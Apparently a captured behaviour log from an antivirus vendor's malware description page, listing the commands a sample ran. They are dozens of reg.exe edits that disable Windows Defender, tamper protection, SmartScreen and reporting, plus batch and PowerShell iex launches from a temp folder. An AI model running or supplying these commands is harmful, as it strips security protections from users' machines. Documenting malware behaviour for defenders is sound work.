'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsfF2C8.tmp\do64.bat
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -win 1 -nop -c iex([io.file]::ReadAllText($env:0))
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "NonCriticalTimeOut" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "CriticalFailureTimeOut" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "AdditionalActionTimeOut" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleTime" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleDay" /t reg_DWORD /d "8" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "LocalSettingOverridePurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t reg_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsfF2C8.tmp\do32.bat

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней